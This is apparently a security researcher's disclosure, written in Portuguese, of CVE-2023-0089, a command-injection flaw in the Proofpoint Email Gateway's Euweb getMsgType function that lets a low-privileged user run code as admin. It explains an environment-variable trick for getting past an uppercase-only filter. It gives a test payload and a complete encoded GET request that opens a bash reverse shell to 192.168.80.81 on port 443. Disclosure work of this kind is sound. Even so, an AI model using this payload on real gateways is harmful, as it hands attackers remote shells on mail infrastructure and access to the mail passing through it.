
Proofpoint Email Gateway: Do usuário autenticado de baixo nível para administrador RCE
Pesquisador de segurança: ly1g3, ly1g3[at]tuta.io
GPG fingerprint: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Resumo: Execução Remota de Código - Usuário autenticado de baixo nível para RCE de administrador
CVE: CVE-2023-0089
Cronograma:
Exploits para o Proofpoint Messaging Security Gateway
Um usuário autenticado de baixo nível do Euweb pode obter execução arbitrária de código com privilégios de administrador.
A função getMsgType no Euwebutils.pm é vulnerável a injeção de comandos. A variável $module vem de um parâmetro GET e nenhuma sanitização é aplicada a essa entrada do usuário.
sub getMsgType {
...
else {
$msgtype = eval "Proofpoint::Digest::PROOFPOINT_MAIL_REPORT_MSGTYPE_".uc($module);
}
Esta função getMsgType é usada por muitas chamadas de API usadas pela aplicação Euweb, então o exploit pode ser acionado de várias maneiras.
Como todos os caracteres devem ser maiúsculos, variáveis de ambiente podem ser usadas para contornar essa restrição para letras minúsculas. Exemplo: ${SHELL:1:1} em vez de b
Como use strict é usado, MAIL_GENERAL() pode ser adicionado ao início da string para completar PROOFPOINT_MAIL_REPORT_MSGTYPE_. Depois disso, código perl personalizado pode ser adicionado.
Exemplo de payload não codificado: MAIL_GENERAL();`id`
Reverse shell codificado usando variáveis de ambiente para contornar restrições de letras minúsculas. Código executado como usuário pps.
GET /euweb/euweb?cmd=x_releasemsg&id=0&func=ReleaseMsg&entries=23%3A23%3A12&eid=3&module=MAIL_GENERAL()%3b`/\${SHELL%3a1%3a1}\${SHELL%3a2%3a1}\${LANG%3a1%3a1}/\${USER%3a2%3a1}\${SHELL%3a8%3a1}+-\${SHELL%3a2%3a1}+>%26+/\${SSH_TTY%3a1%3a1}\${TERM%3a2%3a1}\${MAIL%3a1%3a1}/\${TERM%3a1%3a1}\${TERM%3a9%3a1}\${USER%3a0%3a1}/192.168.80.81/443+0>%261`